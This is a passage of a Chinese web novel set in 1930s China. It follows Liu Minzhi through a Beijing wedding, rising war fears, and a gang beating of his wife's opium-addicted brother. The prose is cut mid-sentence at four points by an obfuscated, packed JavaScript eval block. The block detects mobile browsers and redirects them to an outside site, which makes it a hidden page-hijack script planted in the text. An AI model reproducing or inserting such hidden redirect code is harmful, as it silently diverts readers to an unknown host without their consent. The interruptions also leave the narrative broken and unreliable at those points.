女同学们小声感慨。 “锦艾今天好漂亮。” “是啊，婚纱很适合她。” 苏湘子愣愣看着新娘的背影。 外国男人本就显年纪，新郎头顶稀疏，看着更年长，起码有四十岁。好在他在中年人里算得上英俊，加上外国人营养好，个头高，站在貌美的新娘身边，还能叫人昧良心说一声般配。 唱诗班的歌声停止，神父庄严致辞。 “AlmightyandeternalGod，whobythepower……” 婚礼是全西洋式的，新娘这边有听不懂中文的亲友宾客，跟着外国人的节奏一起鼓掌。 交换戒指，手按圣经宣誓。 “……andthereafterpossesseternallife，Amen.” 欢快的歌唱音乐响起，新郎新娘热情地拥吻，宾客快乐地起哄祝福。 刘珉之有些感慨，这场婚礼的氛围比他见过的其他婚礼都要好。 礼成一片欢欣，女同学们又叽叽喳喳聊起天。 “哎呀！” “湘子，你怎么哭了？” 刘珉之这才发现身边的苏湘子满脸泪痕，他吓坏了，掏出手绢为她揩拭。 苏湘子笑着解释：“我没事，我就是，太激动了。” 酒宴定在教堂附近的西什库法国医院餐厅，提供纯正法餐，刘珉之本以为自己这辈子再不想吃法国菜，可它味道实在不错，还是敞怀吃了个尽兴。 她们凑在一起有说不完的话，聊从前、以后、生活、梦想，倒不怎么聊婚姻和爱人。 刘珉之完全插不进嘴，用钢叉一只只消灭蜗牛。 “锦艾来了。” 新娘换了身仿旗袍设计的鱼尾婚纱，行动起来方便些。 “锦艾，你这身也好漂亮。” 程锦艾落落大方转了个圈，换来夸张的惊叹。 “你可是全北京最漂亮的新娘了。” 新娘骄矜地接受，讨来苏湘子两下打，又连连求饶。 “真的很感谢你们能来，咱们都好久没见了。” 程锦艾始终站在苏湘子旁边，很自然地和她手掌交握。 “你们多吃点，不喝酒的太多，我就不敬你们这桌了。” “那不行！我们可以不喝，新娘必须喝。” 程锦艾被押着喝了两杯，挽着新郎的手去下一桌。 “锦艾性格还是和读书那会儿一样。” “是啊，真怀念。” “说真的，湘子，我一直以为你会和锦艾一样留在北京。” “你们两个是我们这批最优秀的学生。” 苏湘子笑了笑：“现在的生活也不错，大家都很不错。” “是啊。” “希望永远不要打战。” 酒宴结束，住在北京的女同学热情地邀请苏湘子去她家里玩，苏湘子看向刘珉之。 “想去就去吧，难得来一趟。” 苏湘子笑着亲他一下，被同学调侃了一整天。 分别已是月上中天。 苏湘子疲惫又满足，快乐地摇晃着手臂。 “谢谢你今天一直陪着我。” “这是我身为男伴的职责。” 苏湘子又笑。 “明天我们出去玩吧，难得来一趟北京。” “好。” 刘珉之睡了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591947|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个好觉，醒来雀跃地计划着和苏湘子去哪里过二人世界，可在餐厅找到她时，她却在更雀跃地和另一个女生交谈。 苏湘子看见他，笑容满面。 “珉之。” 穿立领旗袍的女生款款站起来。 “刘先生您好，我是程锦艾。” 刘珉之一时震住。 程锦艾今天不施粉黛，眉眼凌厉，薄唇尖颌，和昨天艳压群芳的新娘仿佛两个完全不同的人。 “您好，我是刘珉之。” 见过礼，程锦艾重新坐下，很自然地翘起二郎腿。 “程小姐新婚燕尔，怎么有空过来？” “湘子难得回北京，我当然要来见湘子，”程锦艾一举一动都很得体，“况且约翰最近在做药品生意，忙的很。” 苏湘子疑惑：“他不是开酒厂的么？” “酒厂现在由我接手，约翰说快打战了，药品生意更赚钱。” 刘珉之挑眉：“约翰先生怎么知道要打战了？” “他们外国人有自己的消息渠道，”程锦艾淡淡道，“就算不打战，他们也有的是办法在中国赚钱。” 苏湘子忧心忡忡：“真的要打战了吗？” “这些年不是一直在打战吗？只是还没打到咱们身上。” 刘珉之慨然。 “对了，听说刘先生是从法国留学回来的，怎么进了县里的军工部？以刘先生的才干，应该大有可为才是。” 刘珉之答说家父身体不好，只想陪他颐养天年。 “哦。” 程锦艾淡笑。 “你倒跟湘子一样，都很恋家。” 两人世界变成了三人世界，苏湘子和程锦艾形影不离，刘珉之默默跟在旁边，后来又跟到她们后面。 也不知是有意还是无意，她们走到女子大学校门口，兴高采烈地要进去逛。 女子大学不准男性入内，程锦艾歉意地看着他。 苏湘子犹豫：“要不算了，我们去别的地方逛吧。” “不用，你们进去吧，我在外头等你们。” “可……” “太好了，”程锦艾欣喜道，“多谢刘先生体谅，我们尽量早些出来。” “嗯。” 女学生们人来人往，大都穿着朴素，带着热烈的朝气。 刘珉之一个大男人守在门口太惹眼，干脆沿着街道漫步。 北京学生的时尚是书本，刘珉之瞧了几眼，《生活周刊》、《大众哲学》，还有一些手抄稿和抗战宣传册。 都是在漳县见不到的。 沿街走到底有一家洋货行，刘珉之进去挑几件小巧的礼物，叫店家精心包装好。 之后又回到校门口，在对面咖啡店点一杯美式，整整呆了两个钟头，苏湘子和程锦艾才姗姗来迟。 苏湘子飞扑过来拥抱他。 “对不起，让你久等了。” 刘珉之抚摸着她纤瘦的后背。 “没关系。” 第三天一晃过去，他们又踏上回漳县的火车。 来的路上如胶似漆，回程却一路无话。 “珉之。” “嗯？” “我们以后会不会后悔？” “后悔什么？” “后悔现在的一切。” 刘珉之按住她的手。 “别瞎想，马上就到家了。” 27. 晋绥战争 战争还是来了。 眼看就到年末，刘伯参的身体一天好一天坏，反复无常。 日本人一直在国境边缘寻衅滋事，这次是挑唆伪蒙军队进攻绥东的红格尔图地区，引发民族骚乱。 晋绥军已出动御敌，漳县因离得近，负责一应后勤辎重调遣，刘琼越作为军务部部长，要亲往前线。 刘伯参和老太太得了信，惶惶不可终日。 “我早说过这差事当不得，刀枪无眼啊，我的儿。” 刘琼越安慰地嘴角起泡，无果，只能放弃。 “我出去，家里就靠你了。” 刘珉之沉重地应了。 刘琼越拍拍他的脸：“你怎么也这幅丧气样儿。” “大哥，你千万保重。” “我会的，”刘琼越沉声道，“打日本人，再难也要去的。” 他又向刘珉之交代一番。 “我会把杜其骧带走，省的他在漳县兴风作浪。万一出现搞不定的事，你就去军务部找赵副官，他是我的人。” “我知道了，大哥。” 战争落在亲近的人身上，才终于有了实感，刘府上空密布乌云，每个人都垂头丧气、谨小慎微。 最先扛不住的人居然是王桂英。 她肉眼可见的憔悴下来，越来越心神不宁。 “桂英。” “桂英！” “娘，”王桂英归了魂，“有什么吩咐？” “方才和你说的事记下了吗？” 王桂英尴尬地笑。 老太太不满，又吩咐一遍。 “钱管家外家侄子结婚，你记得多去礼。钱管家自己没孩子，难得遇上件喜事。” “娘，我知道了。” 老太太还不解气，板着脸训了她几句。 晚上王桂英翻账本算账，刘珉之凑在身后瞥了几眼，呐呐道：“这个月开销好大。” “我没乱用！” 王桂英很激动。 “我知道，一打战物价就上涨，什么都贵，”刘珉之奇怪地看她，“你怎么反应这么大？” 王桂英讪讪，说不出话。 “是不是最近压力太大？” 王桂英胡乱应了，学洋文时又总是走神。 “算了，睡觉吧。” “对不起。” “不用道歉。” 生活好像哪里变得不一样，刘珉之抓不住它，只能假装一切都没有变，按从前的轨迹继续生活。 有天从军工部回来，看到王桂英躲在墙角和人打架，竟气的脸色涨怒。刘珉之怕她吃亏，上前将人隔开。 “什么人！” 那男人敞怀穿一件麻布衣服，吊儿郎当，毛发的颜色很深，胡子像黑色的灌木丛，扎在尖刻细长的下巴上。 王桂英慌了，抱住刘珉之的手，怒喝：“快跑！” 那锥子脸的男人似乎逃跑惯了，听到话下意识撒开丫子，两下没了踪迹。 刘珉之尚且没反应过来。 “他是谁？” 王桂英挠挠脸，眼神躲闪：“就是，就是乡下一个邻居，他家里地荒了，吃不上饭，来县里找短工……” “那你叫他跑什么？” “他……我……” 刘珉之叹了口气。 “你柜子里那几件常戴的首饰，是给他了吧？” 王桂英惊慌：“你知道？” “看你成天心神不宁的样儿，想不知道都难。” 刘珉之无奈。 “他到底是什么人？” 王桂英低头看自己的脚尖，声音微弱的刚出牙缝就碎掉。 “是我哥哥。” “亲哥哥？” 王桂英不好意思地点头。 猜测被肯定，刘珉之却说不出心里什么滋味。那个被所有先生都夸赞“比王桂英聪明”的哥哥，竟是这么个货色。 “我会把钱补上的，我……”王桂英顿住了，她很无望，她甚至想不到赚钱的法子。她只会种地，现在王家的地也没了，只能做雇农，雇农赚的钱很少，连吃饱饭都难。她无比珍惜在刘府的富裕生活，若是把她赶出去，她又该怎么维生呢？ “我，我可以去米铺做工，把欠府里的钱还上，你不要把我赶出去……” 王桂英苦苦哀求，若不是还在街上，若不是还有几分刘府二奶奶的自尊，她真想当场给丈夫跪下。 王俭的出现让她从富足的美梦里惊醒，她并不是县公署里王鸿的千金，她是迫于生计，无名无分进了刘府的儿媳。 晚上一家人沉默地吃饭，刘珉之兴致缺缺尝了一口羊肉汤，将汤匙撂下，瓷器碰撞发出清脆的响声。 “怎么了？味道不对吗？” 王桂英紧张地看他。 刘伯参和老太太住了嘴，也奇怪地看他。 “没有，是我中午才和方主任吃了羊肉，现在吃不下。” 王桂英很自责：“我应该多问两句的，都是我的错。” 刘珉之无奈：“没有，你别多想。” “我去热一碗人参汤，给你做宵夜吃。” “不用。” “那喝点芝麻糊？” “真不用，你坐下吃饭。” “哦。” 王桂英坐下了，还是吃不安宁，总偷看他脸色。 晚上刘珉之扶父亲回房入睡，刘伯参虚声道：“你打她了？” “咳、咳，”刘珉之呛住，“什么？” 刘伯参教育儿子：“咱们刘家可不兴打媳妇那一套，那是最没本事的男人做的事。” “爹，我知道，我怎么可能打她?” “你没打她她那么怕你？” “我怎么知道啊。” 刘伯参不言语，闷闷上了床。 良久，老头子叹了口气。 “你们年轻人的事我不好管，但桂英伺候我这么久，你不能太对不住她。” “我知道了，爹。” 他和苏湘子一起去北京的消息在新中学人尽皆知，邓老师熟稔地将他当苏先生来看，连苏学章都和他越来越亲近，已经在他面前以长辈自居，摆起准岳父的架子。 所有人都觉得他和苏湘子郎才女貌，只差一杯喜酒。 可实际上，他和苏湘子见面越来越少，即便相处也经常沉默无言，再没有去北京之前那样亲密。 以前和苏湘子蜜里调油时，刘珉之总想把王桂英送回娘家，他好清清白白和苏湘子确定关系。现在，王桂英的娘家人出现了，正是把她送走的好时机。 可他的心已经变了。 回到东厢房，王桂英已体贴地铺好地铺，坐在上头。 “你睡床上。” 刘珉之无可奈何。 “你不用这样，我都说了不怪你。” 王桂英抱住膝盖，将自己团成一个秤砣。又长又黑的头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603370|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发垂落下来，盖住她的脸颊。 刘珉之挑开她的发帘。 “你去床上睡吧。” 情绪的潮水汹涌着，眼泪滴滴哒哒，直愣愣地落下来。 “我好没用。” 刘珉之盘膝坐在她身边，轻轻拍打她的后背。 “你很有用。” “我赚不到钱，只会种地。” “你很聪明，都快会说洋文了，管家也管的很好。” “可是这些都赚不到钱。” 刘珉之拧着眉头，他都快被绕进去了。 “我都说了不会赶你出去，是不是还不信我？” 王桂英使劲擤鼻子。 “不是。” “那你说，到底在担心什么？” 王桂英止了哭，用红通通的眼睛看他。 “担心打战。” 刘珉之愣住了。 “是担心大哥吗？大哥吉人自有天相，会平安回来的。” “嗯。” 王桂英心不在焉。 看来不是担心大哥。 刘珉之无可奈何：“有话你就直说，我又不会吃了你。” 王桂英不好意思起来。 “就是，就是我哥哥他，因为今年打战要多交一半税，干脆把地卖了，以后都没有地种了。” 刘珉之没忍住：“你哥哥真是位神人。” 王桂英噘嘴。 “也不能全怪他，种地很辛苦的，一年到头只能勉强吃饱。” 刘家是漳县最大的地主家庭，刘珉之很难理解。 “你给你哥那么多钱，是叫他去买地？” 王桂英重重点头：“有地就有粮食，心里踏实。” “那你还担心什么？” 王桂英欲言又止。 “都说了，有话直说。” “就是怕，万一日本人真打到咱们这儿，有地都没用，只能饿死。” 刘珉之沉默。 战争的乌云一直笼罩在所有人头上，假装看不见，似乎也不耽误生存。 可一旦抬望眼，就是无边无际的黑雾。 “别想那么多，刘家不会让你饿死的。” “真的？” “真的。” 王桂英猛的扑抱过来，把他紧紧抱在怀里，可惜她身高不够，像头重脚轻挂在树上。 她肌肤温厚紧实，血肉充盈，像一个柔软的火炉。 刘珉之可耻地发现自己有些享受。 “我怎么会遇到你这么好的男人。” 王桂英满足地喟叹。 打战一要军火，二要粮食，各地米价水涨船高，盈利翻了几倍。作为漳县的囤粮大户，刘伯参忧心忡忡，频频吩咐刘家的米铺不许涨价。 钱管家却有不同考量。 “老爷，咱们不涨价，穷人是高兴了，但其他米商，咱可就得罪了。” “得罪就得罪，”刘伯参喘着粗气，“今年是灾年，涨价会大乱的。” “只咱们一家不涨价，该乱还是会乱。” “那也不能涨，一个铜钱也不能涨。我儿子还在前线，我得为他积德！” 刘伯参说得激动，重重咳嗽，拿帕子一捂，竟咳出两块血斑。 钱管家慌忙叫医生。 “老爷，您撑住。” 刘伯参沉沉叹出一口气。 “我没事，最后这点日子，我得好好活呐。” 28. 教训 马竭在军务部巡防队谋了个差事，对刘家千恩万谢，硬要请刘珉之吃饭，刘珉之正好心中烦闷，应下了。 马竭选的是火车站附近一家烤肉店，下料重，舍得放油盐，又咸又辣，正好下酒。 刘珉之一连干了几杯，脸上浮起艳红。 “少爷，您别喝这么急，容易醉。” “喝酒不就是图醉么？” “醉酒伤身啊。” 刘珉之自顾自又干了一杯，见马竭滴酒未沾，奇怪道：“我记得第一次见你，就是个醉鬼样，在教堂吵着要入教，还被保罗神父踹了两脚。” 马竭尴尬地摸摸脸。 “那都是过去的事情了。” “怎么，改邪归正了？” “当然，”马竭笑的有些腼腆，“三生有幸得到少爷提携，我可不敢再犯浑了。” 刘珉之小酌，他陪喝茶水。到杯盘狼藉，马竭交了心，说妻子死后他沉迷烟酒，不务正业，把家底都吃空了。 “有一次我酒后耍赖，说英国的海军最厉害，叫英国人把日本人打跑，咱们给英国人当儿子。这话被个赌鬼听到，他才输了钱，正想找人泻火，说我那么想认老子就跪下来叫他一声爹。我当然恼了，一拳头砸过去，当时醉的太厉害，怎么打的全记不清了，就记得他骑在我身上揍我。最后店主怕店里东西被砸光，叫了警察。” 马竭撩起头发，叫他看侧面的伤痕，只见两条狰狞的蜈蚣盘踞在发根里，头发落下，又藏了个严实。 “我脑袋开了两条疤，”他笑道，“那狗东西瞎了一只眼睛。” “我在牢里呆了大半年，苦的很，不过也认识了几个人。我出来后才知道，是我婶娘把屋子卖了，三天两头给一只眼赔礼道歉，他才终于同意把我放出来。我现在讲起这件事都亏心，我不是个人，我一辈子都欠我婶娘的。” 刘珉之唏嘘不已。 两人酒杯相撞，发出清脆的响声。 “你婶娘现在怎么样？” “我给她在县西边新租了个屋子，条件比原先好些。等以后，我再买座大房子，给她养老送终。” “好志气！” 马竭碰杯，抿了一口茶水。 “听说刘老爷身子不大好，少爷是在为这件事烦心吗?” 刘珉之叹了口气。 “我也说不上具体是为哪件事烦心，自从回国后，我是哪里都不顺。” “怎么会？” “怎么不会？”刘珉之苦笑，“我如今一事无成，只是在军工部混日子。有时去教学生机械课，人家还说我不诚心教，是为找女人才去教的。这话说的，到底是谁稀罕了？女人的心思，一会儿冷一会儿热的，我才不去挨她们！” 男人醉酒后无非就是这么几种浑样，马竭见的多了，微笑道：“像少爷这种人中龙凤，竟也会为这些琐事烦恼。” “我哪里算的上人中龙凤。” 刘珉之说出这话，眼前突然一阵恍惚。 “少爷，少爷？” 马竭担忧地看着他。 “我没事。” 刘珉之晃晃酒瓶，已然空了。 “少爷，不能再喝了，我送您回家吧。” 家？ 刘珉之脑海里漂浮出一个圆脸女人的模样，她踏实、可靠，把刘府的一切打理的井井有条。 他喝了酒，家里一定会有一碗醒酒汤。 “嗯，回家，回家吧……” 马竭担心他头晕站不稳，抵着力道扶他，刘珉之踉跄着把他甩开。 “不用，不用扶我，我酒量好的很，跟着方主任他们喝，喝了一个月，早练出来了！” 出了店面，是肮脏逼仄的小巷，初冬的寒风萧瑟，疲惫的行人裹着破棉烂袄垂首默行。不远处火车轰隆隆地呼啸，像吞吃灵魂的怪物。 拐角亮着一盏昏黄的霉灯，一杆烟枪伸出来，倒扣在煤火上敲了敲，没见一点渣子。 几个衣不蔽体的萎靡男人一齐从墙角冒出，将搓过的烟膏装在烟锅里，好几根烟枪聚集伸出，架在发霉的火上烘烤。 刘珉之眯着眼睛：“他们在做什么？” 马竭挽住他的胳膊，将他掰转个方向。 “少爷，咱们走，别理那群鸦片鬼。” 刘珉之恍然。 原来穷人是这样吸鸦片的。 他被马竭架着往前走，又忍不住好奇，回头张望。 他好像看到一个瘦削粗粝的男人，皮肉腌臜，头发和胡茬却呈现一种浓密的墨黑，他挨火烟挨的近，毛发被火光炙烤的蜷曲，几近融化。 刘珉之怒目圆睁，大喝一声：“王俭！” 王俭飞快地一回头，看清来人，急往拐角蹿去，刘珉之边骂边追，酒气从胸腔炸花似的炸往外窜。 “你站住！” “你居然敢吸鸦片，你对得起你妹妹吗！” 巷子曲折暗深，王俭早没了踪迹，剩下这群吸食鸦片的人无动于衷躺在地上，仿佛什么也没听到。 “少爷，少爷！” 马竭追上来，刘珉之怒气冲冲将王俭的事和他说了。 “他还骗他妹妹要了钱是去买地，真不是个东西！” “少爷别动气，我有办法。” “什么办法？” 马竭笑道：“自然是给他个教训，教他知道种田的好。” 王俭住在东大街一间柴房里，租金只要五百文，还算宽敞。 其实和人合租更便宜，但他毕竟还有点家底，虽说藏的谨慎，但若有人同屋住着，难保不被发现端倪。 他每天回屋第一件事就是摸他那几大包鸦片。今天撞见了他那体面妹夫，心情烦躁，更得摸摸大宝贝定心。 他扒开稻草做的床，又挪开放碗的木头板子，将烟杆烟锅和灯灶小心放好，撅着屁股往砖缝里掏，果然摸到那熟悉的纸包，他满足地长舒一口气。 “嘭！” 柴门猛然大开，几个凶神恶煞的男人大马金刀杵在他家门口，最边上的啰啰狞笑着逼近：“原来藏在这儿啊，你个狗东西，叫哥几个好找。” 王俭大惊，挪屁股往后撤了两步，已挨到墙角。 “你们是谁！为什么来我家！” “屁话真多。” 啰啰掏掏耳朵，把耳屎往他脸上一弹，下一秒一记重拳砸来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15614550|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，只叫王俭脑门嗡嗡作响。 领头的男人一努嘴，余下几人一拥而上，用拳脚将王俭包围，好生招待。 “各位好汉！各位爷爷！饶命啊！” 自然没人理他。 王俭尽力护住脑袋，肚子上挨了好几脚，又缩起双腿护住肚子，整个人蜷缩成一只肉球，被踢来踢去。 王俭鼻青脸肿，死狗一样趴在地上，那啰啰将两大包鸦片捡起掂量两下，给大哥交差。 “哟。” 王俭死死扒住他的小腿，睁不开的眼睛几乎要泣下血泪。 “行行好吧，给我留一口，一口就好，一口就好！” 啰啰嗤笑，一脚踹在他面门上。 “啊！” 王俭捧住自己的脸，生怕哪块肉掉下来。 领头的大哥接过鸦片，掀开纸包验看纯度，满意地收下。 “各位好汉，”王俭半死不活道，“就是死也叫我死个明白吧，我究竟怎么得罪你们了。” 啰啰又踹了他两脚，他痛的已无力去挡。 大哥往前走了两步，两腿分开蹲在他脑袋上方。 大哥出手利落，一个字没说。王俭的下巴已被卸掉，痛的他不住惨叫。 啰啰好心解释：“进了谁的地盘，就要给谁赚钱，这是规矩。你来东大街半个多月，还不去拜土地，害得我们大哥只能亲自来找你。” “还算没白来，这小子倒有点家底，”大哥悠闲道，“以后每个月我都会派人过来，你准备好和今天一样份量的大烟，如果少了——” “我知道了大哥，我知道了我知道了……” 大哥仰头笑了，近乎玩笑地赏了他两脚。 几人满载而归，大哥拿着鸦片包，动作轻快。 那啰啰落在最后一个，想了想，又好心地回头警告王俭：“你最好老实点，别到处乱跑。在漳县，大哥哪里都能找到你。” 王俭有气无力地点头鞠躬。 白受了这无妄之灾，王俭恨的牙根痒痒。 身上的伤一时消不掉，他得吸鸦片止痛，可烟杆里最后一层烟渍也被刮干了，怎么烧都烧不出味道。 他恼的将烟杆砸在地上，又怕砸坏了，宝贝地捡起来摸一摸。 冬夜漫漫，王俭裹着衣服蜷着身子熬过了这一晚。 还好天气冷，伤口不会烂，但疼痛依旧难忍，加上一晚上没吸大烟，身上有千万只蚂蚁在爬。 他哆哆嗦嗦去巷子里找认识的人借一口大烟，再三担保一定双倍奉还。 朋友一脸为难。 “你！我王俭什么时候骗过你，我有钱的时候给你白抽过多少大烟，你自己说！” “老王，不是咱信不过你，可你这教训是东老虎给的，咱哪敢搭手啊。” 王俭心寒，转身走了。 底层的消息传播的特别快，所有人都知道他是被那个东老虎亲自上门揍的，视他为洪水猛兽，生怕沾上一点腥。 王俭心如死灰，这才明白漳县不是那么好混的。 眼下他一无所有，只有重新去找他那个好命的妹妹，再怎么样，她也不能眼睁睁看着她的亲哥哥去死吧？ 29. 苏小姐 王俭东躲西藏来到刘府，刘府车马如织，正碰到厨娘坐洋车出门采购。 奶奶的，这厨娘都比别人家少奶奶威风。 府门里头趋步出来一个穿深橘色衣服的矮个女人，王俭一激动，险些出头来。 他妹子捏着手绢，和厨娘唠叨个没完，说着说着，还拿出好几块银元往厨娘手里塞。 装的真贤惠啊，叫她帮衬她亲哥哥的时候，倒不见这么爽快。 洋车的大铁轮叮叮当往前转，转眼就到了下一条街，王俭从墙角抬起身子，压着嗓子呼唤妹妹：“桂英！桂英！” 王桂英站在府门下回头张望，眼看就要发现王俭，却被一个细白脸、长高个的年轻男人喊住，那男人亲昵地抬手招呼她，王桂英一脸娇羞，三两步奔过去握住他的手。两人不知说了些什么王桂英捂着嘴咯吱咯吱笑，之后十分不舍地松开他的手进了府。 王俭气地一拳头砸在石墙上。 这当口是碰不着他妹妹了，下午他再来蹲守。 王俭扭头想着能不能赊账讨一口大烟，先把身上这点疼挨过去，等拿到钱，才好思量长久的对策。谁料这一扭头，看到一张叫他魂飞魄散的狐狸脸。 细白面皮的妹夫正似笑非笑地盯着他。 “别来无恙啊，王俭，我是不是还得叫你一声，大舅哥？” 王俭腿脚发软，噗通一声跪在地上，却见眼前的男人厌恶地往后退了两步，他也管不得这许多，硬邦邦砸了几个响头。 “刘少爷！刘少爷您看在我妹妹尽力伺候您的份上，发发慈悲吧，您瞧瞧我这一身伤！我好歹也跟您沾点亲戚，咱们刘家的人在漳县的地盘被人欺负了，你可不能不管呐！求您行行好，您一定要为我做主啊！” “啧。” 刘珉之皱着眉头。 “起来说话。” “是，是，多谢刘少爷。” 王俭极夸张地从地上爬起来，尽可能用大动作展露自己的伤口。 刘珉之背着手，施施然道：“是谁把你打成这样？” 王俭添油加醋地说了，还说自己再三强调他是刘府的亲家，那东老虎还是不管不顾地打人，“丝毫没有王法”。 刘珉之讥讽：“瞧你这个模样，谁会相信你是我们刘家的亲家。” 王俭心下怨恨，还是点头哈腰连连称是。 “俗话说的好，打狗还要看主人呐，那东老虎打了我没关系，可叫人知道了，他这不是打的你刘少爷的脸嘛！” 刘珉之瞪他一眼，叫他灭了声息。 “我，我错了，他打的就是我，就是我。” 刘珉之冷冷道：“你识相的，就不要在外面传和你和刘家有什么干系，也算是为你妹妹积德了。” “是，是是，这都是我自个儿不好。” 王俭忍辱负重。 “可是，我那几包大烟，值好些个银子呢，刘少爷您能不能帮我要……” 这小少爷长的不赖，怎么总做出一副凶神恶煞的表情。 王俭话说到一半，频频咽回去，难受的身上蚂蚁又往上爬。 “哪里都有地头蛇，他们有他们的规矩，你招惹了他们，在漳县也混不下去了。” 王俭听到这话，知道刘家是不打算管，心下凉了大半。 “不过，我们两家从前是世交，你妹妹在刘府，也是勤勤恳恳、任劳任怨。看在她的份上，也不好太苛责你。” 王俭期翼地抬起头。 “你就从哪来的回哪去吧。我给你二十块银元，够你回去踏踏实实买几亩地，等会我叫人领你去刘记提几袋米，叫你扛过这个冬天。你记住，以后不许出现在漳县地界里了——那东老虎可不是好惹的。” 王俭听到二十块，嫌少，正欲讲价，又听到后面，左右一权衡，老老实实应下了。 东老虎每个月都要来找他，他就这一副身板，哪里挨的住。 小心翼翼收了二十块银元，搁在最里面的衣兜里。又等了一会儿，一个人高马大的粗使汉子大咧咧来了，领他往最近的米铺走。 这汉子是刘家养的车夫，王俭对富贵人物唯唯诺诺，对这种做体力活儿的老实人，却熟稔大方的很，只掏了几枚铜钱给他买烟，又大哥长大哥短地又吹又捧，一路上和他套话，把刘府的事打听了个七七八八。 他才知道他那个妹妹哪里像她说的那么惨，分明在刘府上下很受尊敬，前些日子刘家大公子去北京，还给她带回好几件价格不菲的首饰——再瞧瞧她打发自己的！几件不值钱的银首饰，还骗他说她也没钱，在刘府连月钱都没有。 分明是看她亲哥哥落魄了，要和娘家人撇清关系！ 真是不知廉耻，要不是他们的老子失了势，他现在应该在县公署做大官呐！哪里轮的到被这狼心狗肺的妹妹和妹夫欺辱！ 王俭怒火中烧，碍于有外人在，不敢表现出来。 到了米铺，先给提了两袋子米，又给了他一块木牌，叫他日后缺了短了，可以去最近的刘记米铺再白领一百斤米，王俭心里这才平衡了一些。 他心不在焉地摸着怀里揣的二十块，琢磨着一会儿先少买几块钱大烟。 还是不要一口气全买完，省的又被劫走。 王俭正想着，竟就看见那位叫他肝胆俱裂的男人，他正翘着腿在茶馆喝茶，嘴里悠闲地哼着小曲，好一副自在样儿！ 王俭身子都软了，匆忙躲在车夫后头。 “老王，你咋的了？” “没、没事，这边太阳毒。” 车夫不明所以，这大冬天，哪有人怕太阳的？ 王俭小心瞄着那东老虎，却见东老虎放下茶碗站起来，对新来的男人点头哈腰，那男人拍拍东老虎的肩，极自然地坐在上座。 王俭眼睛都撑大了，这是什么人物，能叫东老虎毕恭毕敬？ 不对。 王俭猫着腰，越过车夫往前探身，这男人越看越眼熟。 他想起来了！ 那天在车站抽大烟，遇见刘小少爷从烤肉店出来，身边不就是跟着这个人么！ 好啊，好啊！ “老王，你到底咋的了？” “没事，我好的很，我好的很呐。” 王俭气的浑身发颤，原来是他！原来是他在作践 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628953|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老子！ 刘珉之处理了一个烦人精，心情良好地哼着小曲儿。 方主任打趣他：“难得珉之今天心情好，自打刘部长走了之后，你可是对我们都没个笑脸。” 刘珉之无奈：“我错了，方主任，您可别给我穿小鞋。” 方主任大笑：“我哪里敢呐。” 方主任今天不喝酒，他女儿最近学会了包饺子，说放学回去包给爸爸吃，方主任已经乐呵一整天了，提前半个时辰，就迫不及待放值回家。 “方主任就是太顾家了，所有没有事业心。” 同僚摇摇头，反手搭他肩膀。 “珉之，咱们几个喝酒去？” 刘珉之推拒：“不喝了，今天有别的事。” “哦？”同僚意味深长道，“会是什么大事，叫珉之连酒都不喝了？” “还能是什么？”另一个同僚接话道，“当然是美人在怀，窃玉偷香的大事了。” 刘珉之求饶：“别取笑我了。” “你小子，苏小姐那种大美人都被你占了，还不许我们说两句，还真是什么好事你都要占？” 刘珉之无奈，灰溜溜离开办公室。 他和苏湘子已经很久没见面了，两人像有无言的默契，不敢打扰彼此，也不敢点破现在的关系。 今天苏湘子主动约他，他有点惶恐，又有些期待。 他意识到这是场特别的约会。 地点定在漳县天主教堂，这是他们初见的地方。 冬日的天气灰沉，聚焦在哥特式的尖顶之后，遥远地像远在西欧那段时光。刘珉之在门口站了好一会儿，等指针指到五点整，这才缓步迈进黑漆的木门。 教堂里燃着几盏白色蜡烛，应该是玛丽女士才点上的，烛身长直，刚刚燃了个开头。 教堂零星坐了好几个人，最前方的耶稣受难像下方虔诚地跪拜着一对老夫妇。穿浅蓝衬裙的苏湘子坐在最后方，浅棕色的卷发一丝不苟散在脑后，每一根头发丝都挑不出谬误。 刘珉之轻轻坐在她身边。 “你来了。” “嗯。” 